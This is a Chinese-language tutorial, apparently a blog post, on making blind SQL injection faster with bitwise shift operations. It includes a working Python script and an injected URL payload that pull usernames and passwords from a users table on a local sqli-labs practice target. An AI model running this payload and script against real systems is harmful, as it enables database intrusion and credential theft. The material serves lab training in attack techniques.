1. 程式人生 > 其它 >使用位運算使sql盲注更加高效

使用位運算使sql盲注更加高效

如何提高sql盲注的效率和命中率一直是個值得研究的問題

目前的主流方法有

1.遍歷

2.二分法

3.dns法

4.使用位運算

今天著重介紹位運算的方法

首先學習兩個位運算子號<<(左移)>>(右移)

左移相當於乘2,右移相當於除以2

所以我們利用這個特性一個ascii碼一個位元組8位,我們迴圈8次就可以確定一個字元

例如:

s的ascii碼值為115,換成2進製為 0111 0011

然後我們進行運算 0111 0011>>7=0

0111 0011>>6=01

......

也就是說每8次迴圈確定一個字元,非常高效快捷

import requests


def bitOperation(url):
    result 
= "" # 儲存獲取的查詢結果 url_bak = url # 外層迴圈由查詢結果字元的長度控制,內層迴圈即為固定的7次位運算 for len in range(1, 777): # 此處長度可控,也可以不做判斷直接給一個很長的數字 str = '0' # 設定當前字元的ascii碼二進位制的第一位預設為0 for i in range(0, 7): url = url.format(len, 6 - i, int(str + '0', 2)) # int(str + '0', 2)表示假設其第二位為0,若相等即條件為真,否則為假
r = requests.get(url) # 以頁面正常時的標識關鍵字作為區分,存在是為0,不存在是為1 if r.text.find("You are in") != -1: str += '0' else: str += '1' url = url_bak # 二進位制轉換成十進位制,也就是ascii碼,再將ascii碼轉換成字元累加到result變數上 result += chr(int(str, 2))
print(result) if int(str, 2) == 0: # 不再作判斷長度, 當ascii碼為00000000時自動退出(多發7個請求) print("已超過此次查詢字串的長度,自動停止") return result if int(str, 2) == 127: print("查詢內容不存在或語法錯誤...") return result return result url = "http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select group_concat(concat_ws(0x7e,username,password)) from users),{},1))>>{}={}-- -" bitOperation(url)